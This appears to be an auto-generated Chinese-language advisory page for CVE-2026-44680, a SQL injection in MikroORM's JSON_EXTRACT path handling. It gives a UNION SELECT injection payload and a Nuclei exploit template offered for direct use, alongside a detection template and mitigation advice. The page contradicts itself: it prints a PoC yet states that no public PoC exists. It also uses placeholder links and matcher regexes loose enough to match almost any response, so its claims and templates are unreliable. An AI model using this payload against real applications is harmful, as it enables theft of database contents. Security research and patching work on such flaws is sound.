[webapps] MikroORM 7.0.13 - SQL Injection
CVE-2026-44680: MikroORM 7.0.13 SQL注入漏洞深度分析。漏洞根因为JSON_EXTRACT查询路径键未转义,攻击者可注入UNION SELECT语句提取数据库信息。受影响组件为@mikro-orm/knex ≤6.6.13和@mikro-orm/sql ≤7.0.13,建议立即升级。
MikroORM 7.0.13 在处理用户控制的 JSON 路径键时未正确转义,导致 SQL 注入。
Critical · CVSS 9.8 (估计)📋 漏洞基础信息
| CVE | CVE-2026-44680 |
|---|---|
| 漏洞类型 | SQL注入 |
| 受影响版本 | @mikro-orm/knex <= 6.6.13, @mikro-orm/sql <= 7.0.13 |
| 危害等级 | Critical · CVSS 9.8 (估计) |
| 发布日期 | 2026-05-29 |
| 提交者 | cardosource |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
MikroORM 在构建 JSON_EXTRACT 查询时,未能正确转义运行时可控的 JSON 路径键(JSON path key),攻击者可通过构造恶意键值突破 JSON 路径上下文,注入任意 SQL 语句。
🎯 攻击场景
1. 攻击者识别出使用 MikroORM 且存在 JSON 列查询的应用接口,如 `POST /api/users/search`。2. 构造带有恶意 JSON 路径键的请求:`jsonColumn: { [userControlledKey]: value }`。3. 通过注入 `' ) OR 1=1 UNION SELECT @@version, DATABASE(), USER(), @@version_comment --` 等 payload 使 SQL 语句闭合,执行 UNION SELECT 获取数据库信息。4. 成功则返回数据库中敏感数据。
💥 漏洞影响
攻击者可通过 UNION SELECT 注入,获取数据库敏感信息如数据库版本、库名、用户名、系统信息,可能导致数据泄露甚至服务器控制。
⚔️ Nuclei Exploit 模板
以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:
id: CVE-2026-44680-exploit
info:
name: MikroORM SQL Injection - Exploit
author: cardosource
severity: high
description: Exploits SQL injection in MikroORM JSON_EXTRACT queries by injecting crafted JSON-path keys to execute UNION SELECT statements.
reference:
- https://github.com/mikro-orm/mikro-orm/security/advisories/GHSA-cfw5-68c4-ffqp
- https://www.exploit-db.com/exploits/XXXXX
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-89
variables:
filterField: "$.x' ) OR 1=1 UNION SELECT @@version, DATABASE(), USER(), @@version_comment -- "
filterValue: "x"
http:
- raw:
- |
POST {{BaseURL}}/api/users/search HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"filterField":"{{filterField}}","filterValue":"{{filterValue}}"}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- "UNION SELECT"
- "@@version"
- "DATABASE()"
- "USER()"
condition: or
- type: regex
part: body
regex:
- '\d+\.\d+\.\d+'
- '[A-Za-z_]+'
- 'root@[A-Za-z0-9]+'
extractors:
- type: regex
part: body
group: 0
regex:
- '(\d+\.\d+\.\d+.*)'
- '(root@[A-Za-z0-9]+)'
- '([A-Za-z_]+Database)'
- '(MariaDB|MySQL|SQLite)'🔬 深度技术分析
原始 PoC 中,payload 构造 `filterField` 值为 `$.x' ) OR 1=1 UNION SELECT @@version, DATABASE(), USER(), @@version_comment --`。该值被用作 JSON_EXTRACT 的路径键,其中的单引号 `'` 和右括号 `)` 将 JSON 路径和 SQL 上下文闭合,随后 `OR 1=1 UNION SELECT ...` 注入 SQL 语句,`--` 注释掉后续 SQL,从而实现信息泄露。
🔍 Nuclei Detection 模板
以下为漏洞探测模板,用于判断目标是否受影响:
id: CVE-2026-44680-detection
info:
name: MikroORM SQL Injection - Detection
author: cardosource
severity: high
description: MikroORM versions @mikro-orm/knex <= 6.6.13 / @mikro-orm/sql <= 7.0.13 are vulnerable to SQL injection through runtime-controlled JSON path keys.
reference:
- https://github.com/mikro-orm/mikro-orm/security/advisories/GHSA-cfw5-68c4-ffqp
- https://www.exploit-db.com/exploits/XXXXX
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-89
http:
- method: GET
path:
- "{{BaseURL}}/api/users/search"
- "{{BaseURL}}/package.json"
stop-at-first-match: true
matchers-condition: or
matchers:
- type: dsl
dsl:
- "contains(body, 'mikro-orm')"
- "contains(body, '@mikro-orm/knex')"
- "contains(body, '@mikro-orm/sql')"
condition: or
- type: regex
part: body
regex:
- '6\.\d+\.\d+|7\.0\.\d+'
extractors:
- type: regex
part: body
group: 1
regex:
- '"version":\s*"(\d+\.\d+\.\d+)"'
- '"@mikro-orm/knex":\s*"(\d+\.\d+\.\d+)"'
- '"@mikro-orm/sql":\s*"(\d+\.\d+\.\d+)"'
- '"name":\s*"mikro-orm",\s*"version":\s*"(\d+\.\d+\.\d+)"'🛡️ 修复建议
升级至 @mikro-orm/knex > 6.6.13 和 @mikro-orm/sql > 7.0.13。临时缓解措施:对用户输入的 JSON 路径键进行严格验证,拒绝包含单引号、括号、SQL 关键字等特殊字符。
📎 参考链接
🚨 威胁评估
| 📈 EPSS 利用概率 | 暂无数据 |
| 🚨 CISA KEV | 未被已知利用 |
| 🔧 公开 PoC | 暂无公开 PoC |
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-30 08:14 | 来源: Exploit-DB
🤖 常见问题解答(FAQ)
❓ 如何验证环境是否受此漏洞影响?
检查 @mikro-orm/knex 版本是否 <= 6.6.13,@mikro-orm/sql 版本是否 <= 7.0.13。若存在 JSON 列查询且键值来自用户输入,则可能受影响。
❓ 攻击者利用该漏洞需要什么前置条件?
应用使用 MikroORM 并公开了接收用户可控 JSON 路径键的查询接口,例如 `em.find(Entity, { jsonColumn: { [userKey]: value } })`。
❓ 如果不能立即升级,有哪些临时缓解措施?
对用户输入的 JSON 路径键做输入白名单验证,拒绝所有包含单引号、括号、`UNION`、`OR`、`--` 等 SQL 特殊字符的键值;或限制 API 请求来源。